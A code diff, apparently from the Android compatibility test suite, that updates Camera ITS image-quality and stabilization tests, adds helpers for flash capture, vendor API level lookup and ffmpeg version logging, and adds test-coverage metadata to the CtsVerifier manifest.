edge_mode_res = cap['metadata']['android.edge.mode']
sharpness_list.append(
- image_processing_utils.compute_image_sharpness(chart.img))
-
+ image_processing_utils.compute_image_sharpness(chart.img)*255)
+ logging.debug('edge mode: %d, sharpness values: %s',
+ edge_mode_res, sharpness_list)
return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
@@ -89,7 +89,6 @@ class EdgeEnhancementTest(its_base_test.ItsBaseTest):
"""
def test_edge_enhancement(self):
- logging.debug('Starting %s', NAME)
with its_session_utils.ItsSession(
device_id=self.dut.serial,
camera_id=self.camera_id,
diff --git a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
index c5e9b1974c3..d67ebe4366b 100644
--- a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
@@ -107,16 +107,15 @@ def do_capture_and_determine_sharpness(
caps = cam.do_capture([req]*NUM_SAMPLES, [out_surface], reprocess_format)
for n in range(NUM_SAMPLES):
y, _, _ = image_processing_utils.convert_capture_to_planes(caps[n])
- chart.img = image_processing_utils.normalize_img(
- image_processing_utils.get_image_patch(
- y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ chart.img = image_processing_utils.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)
if n == 0:
image_processing_utils.write_image(
chart.img, '%s_reprocess_fmt_%s_edge=%d.jpg' % (
os.path.join(log_path, NAME), reprocess_format, edge_mode))
edge_mode_res = caps[n]['metadata']['android.edge.mode']
sharpness_list.append(
- image_processing_utils.compute_image_sharpness(chart.img))
+ image_processing_utils.compute_image_sharpness(chart.img)*255)
logging.debug('Sharpness list for edge mode %d: %s',
edge_mode, str(sharpness_list))
return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
@@ -134,7 +133,6 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest):
"""
def test_reprocess_edge_enhancement(self):
- logging.debug('Starting %s', NAME)
logging.debug('Edge modes: %s', str(EDGE_MODES))
with its_session_utils.ItsSession(
device_id=self.dut.serial,
@@ -179,9 +177,10 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest):
# Initialize plot
pylab.figure('reprocess_result')
- pylab.title(NAME)
- pylab.xlabel('Edge Enhance Mode')
- pylab.ylabel('Sharpness')
+ pylab.suptitle(NAME)
+ pylab.title(str(EDGE_MODES))
+ pylab.xlabel('Edge Enhancement Mode')
+ pylab.ylabel('Image Sharpness')
pylab.xticks(EDGE_MODES_VALUES)
# Get the sharpness for each edge mode for regular requests
@@ -244,6 +243,7 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest):
logging.debug('Check reprocess format: %s', reprocess_format)
check_edge_modes(sharpnesses_reprocess[reprocess_format])
+ # Check reprocessing doesn't make everyting worse
hq_div_off_reprocess = (
sharpnesses_reprocess[reprocess_format][EDGE_MODES['HQ']] /
sharpnesses_reprocess[reprocess_format][EDGE_MODES['OFF']])
@@ -251,11 +251,10 @@ class ReprocessEdgeEnhancementTest(its_base_test.ItsBaseTest):
sharpness_regular[EDGE_MODES['HQ']] /
sharpness_regular[EDGE_MODES['OFF']])
logging.debug('Verify reprocess HQ ~= reg HQ relative to OFF')
- if not math.isclose(hq_div_off_reprocess, hq_div_off_regular,
- rel_tol=SHARPNESS_RTOL):
- raise AssertionError(f'HQ/OFF_reprocess: {hq_div_off_reprocess:.4f}, '
- f'HQ/OFF_reg: {hq_div_off_regular:.4f}, '
- f'RTOL: {SHARPNESS_RTOL}')
+ if hq_div_off_reprocess < hq_div_off_regular*(1-SHARPNESS_RTOL):
+ raise AssertionError(
+ f'HQ/OFF_{reprocess_format}: {hq_div_off_reprocess:.4f}, '
+ f'HQ/OFF_reg: {hq_div_off_regular:.4f}, RTOL: {SHARPNESS_RTOL}')
if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
index 3959b42ef27..4140ea7e8da 100644
--- a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
+++ b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
@@ -35,9 +35,9 @@ _MAX_STABILIZED_RADIUS_RATIO = 1.2 # radius of circle in stabilized preview
_ROUNDESS_DELTA_THRESHOLD = 0.05
_MAX_CENTER_THRESHOLD_PERCENT = 0.075
-_MAX_DIMENSION_SIZE = (1920, 1080) # max preview size in Android
+_MAX_AREA = 1920 * 1440 # max mandatory preview stream resolution
_MIN_CENTER_THRESHOLD_PERCENT = 0.02
-_MIN_DIMENSION_SIZE = (176, 144) # assume QCIF to be min preview size
+_MIN_AREA = 176 * 144 # assume QCIF to be min preview size
def _collect_data(cam, video_size, stabilize):
@@ -90,27 +90,26 @@ def _calculate_center_offset_threshold(image_size):
calculated. ex. (1920, 1080)
Returns:
- threshold value in pixels be which the circle centers can differ
+ threshold value ratio between which the circle centers can differ
"""
- max_diagonal = _point_distance(0, 0,
- _MAX_DIMENSION_SIZE[0], _MAX_DIMENSION_SIZE[1])
- min_diagonal = _point_distance(0, 0,
- _MIN_DIMENSION_SIZE[0], _MIN_DIMENSION_SIZE[1])
+ img_area = image_size[0] * image_size[1]
- img_diagonal = _point_distance(0, 0, image_size[0], image_size[1])
+ normalized_area = ((img_area - _MIN_AREA) /
+ (_MAX_AREA - _MIN_AREA))
- normalized_diagonal = ((img_diagonal - min_diagonal) /
- (max_diagonal - min_diagonal))
+ if normalized_area > 1 or normalized_area < 0:
+ raise AssertionError(f'normalized area > 1 or < 0! '
+ f'image_size[0]: {image_size[0]}, '
+ f'image_size[1]: {image_size[1]}, '
+ f'normalized_area: {normalized_area}')
# Threshold should be larger for images with smaller resolution
- normalized_threshold_percent = ((1 - normalized_diagonal) *
+ normalized_threshold_percent = ((1 - normalized_area) *
(_MAX_CENTER_THRESHOLD_PERCENT -
_MIN_CENTER_THRESHOLD_PERCENT))
- return ((normalized_threshold_percent + _MIN_CENTER_THRESHOLD_PERCENT)
- * img_diagonal)
-
+ return (normalized_threshold_percent + _MIN_CENTER_THRESHOLD_PERCENT)
class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest):
"""Tests if stabilized preview FoV is within spec.
@@ -141,7 +140,7 @@ class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest):
# Load scene.
its_session_utils.load_scene(cam, props, self.scene,
- self.tablet, chart_distance=0)
+ self.tablet, self.chart_distance)
# Check skip condition
first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
@@ -150,6 +149,10 @@ class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest):
'First API level should be {} or higher. Found {}.'.format(
its_session_utils.ANDROID13_API_LEVEL, first_api_level))
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
supported_stabilization_modes = props[
'android.control.availableVideoStabilizationModes'
]
@@ -250,7 +253,8 @@ class PreviewStabilizationFoVTest(its_base_test.ItsBaseTest):
f'{_ROUNDESS_DELTA_THRESHOLD}, '
f'actual ratio difference: {roundness_diff}. ')
- # Distance between centers
+ # Distance between centers, x_offset and y_offset are relative to the
+ # radius of the circle, so they're normalized. Not pixel values.
unstab_center = (ustab_circle['x_offset'], ustab_circle['y_offset'])
logging.debug('unstabilized center: %s', unstab_center)
stab_center = (stab_circle['x_offset'], stab_circle['y_offset'])
diff --git a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
index 6eaca195c22..bf37f0ef1db 100644
--- a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
@@ -137,13 +137,13 @@ class VideoAspectRatioAndCropTest(its_base_test.ItsBaseTest):
logging.debug('physical available focal lengths: %s', str(fls_physical))
# Check SKIP conditions.
- first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+ vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
camera_properties_utils.skip_unless(
- first_api_level >= its_session_utils.ANDROID13_API_LEVEL)
+ vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL)
# Load scene.
its_session_utils.load_scene(cam, props, self.scene,
- self.tablet, chart_distance=0)
+ self.tablet, self.chart_distance)
# Determine camera capabilities.
supported_video_qualities = cam.get_supported_video_qualities(
@@ -152,6 +152,8 @@ class VideoAspectRatioAndCropTest(its_base_test.ItsBaseTest):
full_or_better = camera_properties_utils.full_or_better(props)
raw_avlb = camera_properties_utils.raw16(props)
+ # Converge 3A.
+ cam.do_3a()
req = capture_request_utils.auto_capture_request()
ref_img_name_stem = f'{os.path.join(self.log_path, _NAME)}'
@@ -166,6 +168,10 @@ class VideoAspectRatioAndCropTest(its_base_test.ItsBaseTest):
run_crop_test = full_or_better and raw_avlb
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
for quality_profile_id_pair in supported_video_qualities:
quality = quality_profile_id_pair.split(':')[0]
profile_id = quality_profile_id_pair.split(':')[-1]
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index ae1f315c3e4..c1e50bd561a 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -146,6 +146,7 @@ class LensShadingAndColorUniformityTest(its_base_test.ItsBaseTest):
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
log_path = self.log_path
+ debug_mode = self.debug_mode
# Check SKIP conditions.
camera_properties_utils.skip_unless(
@@ -163,7 +164,16 @@ class LensShadingAndColorUniformityTest(its_base_test.ItsBaseTest):
req = capture_request_utils.auto_capture_request()
w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0]
out_surface = {'format': 'yuv', 'width': w, 'height': h}
- cap = cam.do_capture(req, out_surface)
+ if debug_mode:
+ out_surfaces = [{'format': 'raw'}, out_surface]
+ cap_raw, cap = cam.do_capture(req, out_surfaces)
+ img_raw = image_processing_utils.convert_capture_to_rgb_image(
+ cap_raw, props=props)
+ image_processing_utils.write_image(img_raw, '%s_raw.png' % (
+ os.path.join(log_path, _NAME)), True)
+ logging.debug('Captured RAW %dx%d', img_raw.shape[1], img_raw.shape[0])
+ else:
+ cap = cam.do_capture(req, out_surface)
logging.debug('Captured YUV %dx%d', w, h)
# Get Y channel
img_y = image_processing_utils.convert_capture_to_planes(cap)[0]
diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py
index d4fa21c3c29..32b9927cc1c 100644
--- a/apps/CameraITS/tests/scene6/test_zoom.py
+++ b/apps/CameraITS/tests/scene6/test_zoom.py
@@ -78,10 +78,6 @@ def get_test_tols_and_cap_size(cam, props, chart_distance, debug):
test_tols = {}
test_yuv_sizes = []
for i in physical_ids:
- min_fd = physical_props[i]['android.lens.info.minimumFocusDistance']
- focal_l = physical_props[i]['android.lens.info.availableFocalLengths'][0]
- logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f',
- i, min_fd, focal_l)
yuv_sizes = capture_request_utils.get_available_output_sizes(
'yuv', physical_props[i])
test_yuv_sizes.append(yuv_sizes)
@@ -89,13 +85,16 @@ def get_test_tols_and_cap_size(cam, props, chart_distance, debug):
logging.debug('cam[%s] yuv sizes: %s', i, str(yuv_sizes))
# determine if minimum focus distance is less than rig depth
- if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or # fixed focus
- 1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL):
- test_tols[focal_l] = (RADIUS_RTOL, OFFSET_RTOL)
- else:
- test_tols[focal_l] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD)
- logging.debug('loosening RTOL for cam[%s]: '
- 'min focus distance too large.', i)
+ min_fd = physical_props[i]['android.lens.info.minimumFocusDistance']
+ for fl in physical_props[i]['android.lens.info.availableFocalLengths']:
+ logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f', i, min_fd, fl)
+ if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or # fixed focus
+ (1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL)):
+ test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL)
+ else:
+ test_tols[fl] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD)
+ logging.debug('loosening RTOL for cam[%s]: '
+ 'min focus distance too large.', i)
# find intersection of formats for max common format
common_sizes = list(set.intersection(*[set(list) for list in test_yuv_sizes]))
if debug:
@@ -235,8 +234,10 @@ class ZoomTest(its_base_test.ItsBaseTest):
test_tols, size = get_test_tols_and_cap_size(
cam, props, self.chart_distance, debug)
else:
- fl = props['android.lens.info.availableFocalLengths'][0]
- test_tols = {fl: (RADIUS_RTOL, OFFSET_RTOL)}
+ test_tols = {}
+ fls = props['android.lens.info.availableFocalLengths']
+ for fl in fls:
+ test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL)
yuv_size = capture_request_utils.get_largest_yuv_format(props)
size = [yuv_size['width'], yuv_size['height']]
logging.debug('capture size: %s', str(size))
diff --git a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
index c6b852c5378..d90960bca0e 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
@@ -128,6 +128,10 @@ class PreviewStabilizationTest(its_base_test.ItsBaseTest):
'Preview Stabilization not supported',
)
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
# Raise error if not FRONT or REAR facing camera
facing = props['android.lens.facing']
if (facing != camera_properties_utils.LENS_FACING_BACK
@@ -142,7 +146,9 @@ class PreviewStabilizationTest(its_base_test.ItsBaseTest):
# List of video resolutions to test
supported_preview_sizes = cam.get_supported_preview_sizes(self.camera_id)
- supported_preview_sizes.remove(video_processing_utils.QCIF_SIZE)
+ for size in video_processing_utils.LOW_RESOLUTION_SIZES:
+ if size in supported_preview_sizes:
+ supported_preview_sizes.remove(size)
logging.debug('Supported preview resolutions: %s',
supported_preview_sizes)
diff --git a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
index 0be38b56d11..d09ee5fdd67 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
@@ -129,7 +129,7 @@ class VideoStabilizationTest(its_base_test.ItsBaseTest):
in gyroscope movement. Test is a PASS if rotation is reduced in video.
"""
- def test_video_stability(self):
+ def test_video_stabilization(self):
rot_rig = {}
log_path = self.log_path
@@ -139,14 +139,18 @@ class VideoStabilizationTest(its_base_test.ItsBaseTest):
hidden_physical_id=self.hidden_physical_id) as cam:
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
- first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+ vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
supported_stabilization_modes = props[
'android.control.availableVideoStabilizationModes']
camera_properties_utils.skip_unless(
- first_api_level >= its_session_utils.ANDROID13_API_LEVEL and
+ vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL and
_VIDEO_STABILIZATION_MODE in supported_stabilization_modes)
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
# Raise error if not FRONT or REAR facing camera
facing = props['android.lens.facing']
if (facing != camera_properties_utils.LENS_FACING_FRONT and
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 3ecc8dfeef1..dae63c3732e 100755
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -240,7 +240,7 @@ def check_manual_scenes(device_id, camera_id, scene, out_path):
img_name = os.path.join(out_path, f'test_{scene}.jpg')
logging.info('Please check scene setup in %s', img_name)
image_processing_utils.write_image(img, img_name)
- choice = input('Is the image okay for ITS {scene}? (Y/N)').lower()
+ choice = input(f'Is the image okay for ITS {scene}? (Y/N)').lower()
if choice == 'y':
break
@@ -518,13 +518,13 @@ def main():
# Handle repeated test
if 'tests/' in test:
cmd = [
- 'python',
+ 'python3',
os.path.join(os.environ['CAMERA_ITS_TOP'], test), '-c',
'%s' % new_yml_file_name
]
else:
cmd = [
- 'python',
+ 'python3',
os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s, test),
'-c',
'%s' % new_yml_file_name
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4a6cbf9af01..c2065ba6ac4 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -616,6 +616,122 @@ class ItsSession(object):
raise error_util.CameraItsError('No supported preview sizes')
return data['strValue'].split(';')
+ def do_capture_with_flash(self,
+ preview_request_start,
+ preview_request_idle,
+ still_capture_req,
+ out_surface):
+ """Issue capture request with flash and read back the image and metadata.
+
+ Captures a single image with still_capture_req as capture request
+ with flash. It triggers the precapture sequence with preview request
+ preview_request_start with capture intent preview by setting aePrecapture
+ trigger to Start. This is followed by repeated preview requests
+ preview_request_idle with aePrecaptureTrigger set to IDLE.
+ Once the AE is converged, a single image is captured still_capture_req
+ during which the flash must be fired.
+ Note: The part where we read output data from socket is cloned from
+ do_capture and will be consolidated in U.
+
+ Args:
+ preview_request_start: Preview request with aePrecaptureTrigger set to
+ Start
+ preview_request_idle: Preview request with aePrecaptureTrigger set to Idle
+ still_capture_req: Single still capture request.
+ out_surface: Specifications of the output image formats and
+ sizes to use for capture.
+ Returns:
+ An object which contains following fields:
+ * data: the image data as a numpy array of bytes.
+ * width: the width of the captured image.
+ * height: the height of the captured image.
+ * format: image format
+ * metadata: the capture result object
+ """
+ cmd = {}
+ cmd['cmdName'] = 'doCaptureWithFlash'
+ cmd['previewRequestStart'] = [preview_request_start]
+ cmd['previewRequestIdle'] = [preview_request_idle]
+ cmd['stillCaptureRequest'] = [still_capture_req]
+ cmd['outputSurfaces'] = [out_surface]
+
+ cam_ids = self._camera_id
+ self.sock.settimeout(self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT)
+ logging.debug('Capturing image with ON_AUTO_FLASH.')
+ self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+ bufs = {}
+ bufs[self._camera_id] = {'jpeg': []}
+ formats = ['jpeg']
+ rets = []
+ nbufs = 0
+ mds = []
+ physical_mds = []
+ widths = None
+ heights = None
+ ncap = 1
+ capture_results_returned = False
+ yuv_bufs = {}
+ while not capture_results_returned:
+ json_obj, buf = self.__read_response_from_socket()
+ if json_obj['tag'] in ItsSession.IMAGE_FORMAT_LIST_1 and buf is not None:
+ fmt = json_obj['tag'][:-5]
+ bufs[self._camera_id][fmt].append(buf)
+ nbufs += 1
+ elif json_obj['tag'] == 'captureResults':
+ capture_results_returned = True
+ mds.append(json_obj['objValue']['captureResult'])
+ physical_mds.append(json_obj['objValue']['physicalResults'])
+ outputs = json_obj['objValue']['outputs']
+ widths = [out['width'] for out in outputs]
+ heights = [out['height'] for out in outputs]
+ else:
+ tag_string = unicodedata.normalize('NFKD', json_obj['tag']).encode(
+ 'ascii', 'ignore')
+ for x in ItsSession.IMAGE_FORMAT_LIST_2:
+ x = bytes(x, encoding='utf-8')
+ if tag_string.startswith(x):
+ if x == b'yuvImage':
+ physical_id = json_obj['tag'][len(x):]
+ if physical_id in cam_ids:
+ buf_size = numpy.product(buf.shape)
+ yuv_bufs[physical_id][buf_size].append(buf)
+ nbufs += 1
+ else:
+ physical_id = json_obj['tag'][len(x):]
+ if physical_id in cam_ids:
+ fmt = x[:-5].decode('UTF-8')
+ bufs[physical_id][fmt].append(buf)
+ nbufs += 1
+ rets = []
+ for j, fmt in enumerate(formats):
+ objs = []
+ if 'physicalCamera' in cmd['outputSurfaces'][j]:
+ cam_id = cmd['outputSurfaces'][j]['physicalCamera']
+ else:
+ cam_id = self._camera_id
+ for i in range(ncap):
+ obj = {}
+ obj['width'] = widths[j]
+ obj['height'] = heights[j]
+ obj['format'] = fmt
+ if cam_id == self._camera_id:
+ obj['metadata'] = mds[i]
+ else:
+ for physical_md in physical_mds[i]:
+ if cam_id in physical_md:
+ obj['metadata'] = physical_md[cam_id]
+ break
+ obj['data'] = bufs[cam_id][fmt][i]
+ objs.append(obj)
+ rets.append(objs if ncap > 1 else objs[0])
+ self.sock.settimeout(self.SOCK_TIMEOUT)
+ if len(rets) > 1 or (isinstance(rets[0], dict) and
+ isinstance(still_capture_req, list)):
+ return rets
+ else:
+ return rets[0]
+
def do_capture(self,
cap_request,
out_surfaces=None,
@@ -1496,6 +1612,18 @@ def get_first_api_level(device_id):
return first_api_level
+def get_vendor_api_level(device_id):
+ """Return the int value for the vendor API level of the device."""
+ cmd = 'adb -s %s shell getprop ro.vendor.api_level' % device_id
+ try:
+ vendor_api_level = int(subprocess.check_output(cmd.split()).rstrip())
+ logging.debug('First vendor API level: %d', vendor_api_level)
+ except (subprocess.CalledProcessError, ValueError):
+ logging.error('No vendor_api_level. Setting to build version.')
+ vendor_api_level = get_build_sdk_version(device_id)
+ return vendor_api_level
+
+
class ItsSessionUtilsTests(unittest.TestCase):
"""Run a suite of unit tests on this module."""
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 29533146a41..d108cacb0b2 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -18,11 +18,9 @@ import logging
import math
import os
import unittest
-
+import cv2
import numpy
-
-import cv2
import capture_request_utils
import image_processing_utils
@@ -232,6 +230,8 @@ class Chart(object):
scale_stop = self._scale_stop * s_factor
scale_step = self._scale_step * s_factor
self.scale = s_factor
+ logging.debug('scale start: %.3f, stop: %.3f, step: %.3f',
+ scale_start, scale_stop, scale_step)
max_match = []
# check for normalized image
if numpy.amax(scene) <= 1.0:
@@ -250,7 +250,7 @@ class Chart(object):
# determine if optimization results are valid
opt_values = [x[0] for x in max_match]
- if 2.0 * min(opt_values) > max(opt_values):
+ if not opt_values or (2.0 * min(opt_values) > max(opt_values)):
estring = ('Warning: unable to find chart in scene!\n'
'Check camera distance and self-reported '
'pixel pitch, focal length and hyperfocal distance.')
@@ -538,6 +538,7 @@ class Cv2ImageProcessingUtilsTests(unittest.TestCase):
"""Unit tests for this module."""
def test_get_angle_identify_rotated_chessboard_angle(self):
+ """Unit test to check extracted angles from images."""
# Array of the image files and angles containing rotated chessboards.
test_cases = [
('', 0),
diff --git a/apps/CameraITS/utils/video_processing_utils.py b/apps/CameraITS/utils/video_processing_utils.py
index 98d930bc90b..432e7c36b96 100644
--- a/apps/CameraITS/utils/video_processing_utils.py
+++ b/apps/CameraITS/utils/video_processing_utils.py
@@ -19,6 +19,7 @@
import logging
import os.path
import subprocess
+import error_util
ITS_SUPPORTED_QUALITIES = (
@@ -33,7 +34,23 @@ ITS_SUPPORTED_QUALITIES = (
'LOW',
'VGA'
)
-QCIF_SIZE = '176x144'
+
+LOW_RESOLUTION_SIZES = (
+ '176x144',
+ '192x144',
+)
+
+
+def get_ffmpeg_version():
+ """Returns the ffmpeg version being used."""
+
+ ffmpeg_version_cmd = ('ffmpeg -version')
+ p = subprocess.Popen(ffmpeg_version_cmd, shell=True, stdout=subprocess.PIPE)
+ output, _ = p.communicate()
+ if p.poll() != 0:
+ raise error_util.CameraItsError('Error running ffmpeg version cmd.')
+ decoded_output = output.decode('utf-8')
+ return decoded_output.split(' ')[2]
def extract_key_frames_from_video(log_path, video_file_name):
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index b4485d19e99..024e0387c6f 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -91,6 +91,7 @@ android_library {
"CtsForceStopHelper-constants",
"ctsmediautil",
"DpmWrapper",
+ "MediaPerformanceClassCommon",
],
libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car-test-stubs"] + ["voip-common"] + ["truth-prebuilt"],
@@ -114,7 +115,7 @@ android_test {
compile_multilib: "both",
- manifest: "AndroidManifest-verifierConfig.xml",
+ additional_manifests: ["AndroidManifest-verifierConfig.xml"],
jni_libs: [
"libctsverifier_jni",
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 981f0fa4021..254e3c534c9 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -248,6 +248,7 @@
<action android:name="android.intent.action.MAIN" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
+ <meta-data android:name="CddTest" android:value="3.8.17/C-1-1,C-2-1" />
<meta-data android:name="test_category" android:value="@string/test_category_features" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
@@ -2052,6 +2053,9 @@
<meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="7.4.5.2" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.ConnectivityManager#registerNetworkCallback|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getLinkProperties" />
</activity>
<activity android:name=".net.MultiNetworkConnectivityTestActivity"
@@ -2068,6 +2072,8 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.ConnectivityManager#getNetworkCapabilities|android.net.ConnectivityManager#getAllNetworks|android.net.ConnectivityManager#requestNetwork|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getActiveNetwork|android.net.ConnectivityManager#getNetworkInfo|android.net.ConnectivityManager#reportNetworkConnectivity" />
</activity>
<activity android:name=".nfc.NfcTestActivity"
@@ -2827,6 +2833,16 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.hardware.Camera#getNumberOfCameras|
+ android.hardware.Camera#open|
+ android.hardware.Camera#startPreview|
+ android.hardware.Camera#stopPreview|
+ android.hardware.Camera#takePicture|
+ android.hardware.Camera#setParameters|
+ android.hardware.Camera#setDisplayOrientation|
+ android.hardware.Camera.Parameters#setHorizontalViewAngle|
+ android.hardware.Camera.Parameters#setVerticalViewAngle" />
</activity>
<activity
android:name=".camera.fov.DetermineFovActivity"
@@ -2836,6 +2852,11 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.media.ExifInterface#TAG_ORIENTATION|
+ android.media.ExifInterface#ORIENTATION_ROTATE_90|
+ android.media.ExifInterface#ORIENTATION_ROTATE_180|
+ android.media.ExifInterface#ORIENTATION_ROTATE_270" />
</activity>
<activity
android:name=".camera.fov.CalibrationPreferenceActivity"
@@ -2861,6 +2882,32 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.hardware.Camera#getParameters|
+ android.hardware.Camera#lock|
+ android.hardware.Camera#setDisplayOrientation|
+ android.hardware.Camera#setPreviewCallback|
+ android.hardware.Camera#setParameters|
+ android.hardware.Camera#setPreviewTexture|
+ android.hardware.Camera#startPreview|
+ android.hardware.Camera#stopPreview|
+ android.hardware.Camera#unlock|
+ android.media.MediaRecorder#prepare|
+ android.media.MediaRecorder#release|
+ android.media.MediaRecorder#reset|
+ android.media.MediaRecorder#setAudioEncoder|
+ android.media.MediaRecorder#setAudioSource|
+ android.media.MediaRecorder#setCamera|
+ android.media.MediaRecorder#setOnErrorListener|
+ android.media.MediaRecorder#setOutputFormat|
+ android.media.MediaRecorder#setOutputFile|
+ android.media.MediaRecorder#setProfile|
+ android.media.MediaRecorder#setVideoEncoder|
+ android.media.MediaRecorder#setVideoEncodingBitRate|
+ android.media.MediaRecorder#setVideoSize|
+ android.media.MediaRecorder#setVideoSource|
+ android.media.MediaRecorder#start|
+ android.media.MediaRecorder#stop" />
</activity>
<activity android:name=".camera.its.ItsTestActivity"
@@ -3088,6 +3135,7 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="2.2.3/3.8.3/H-0-1|3.8.3.1/C-1-5|3.8.3.1/C-3-1|3.8.3.1/C-3-2|3.8.3.2/C-0-1|3.8.3.2/C-0-2|3.8.3.2/C-1-1" />
</activity>
<activity android:name=".notifications.NotificationPrivacyVerifierActivity"
@@ -3102,6 +3150,7 @@
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.automotive" />
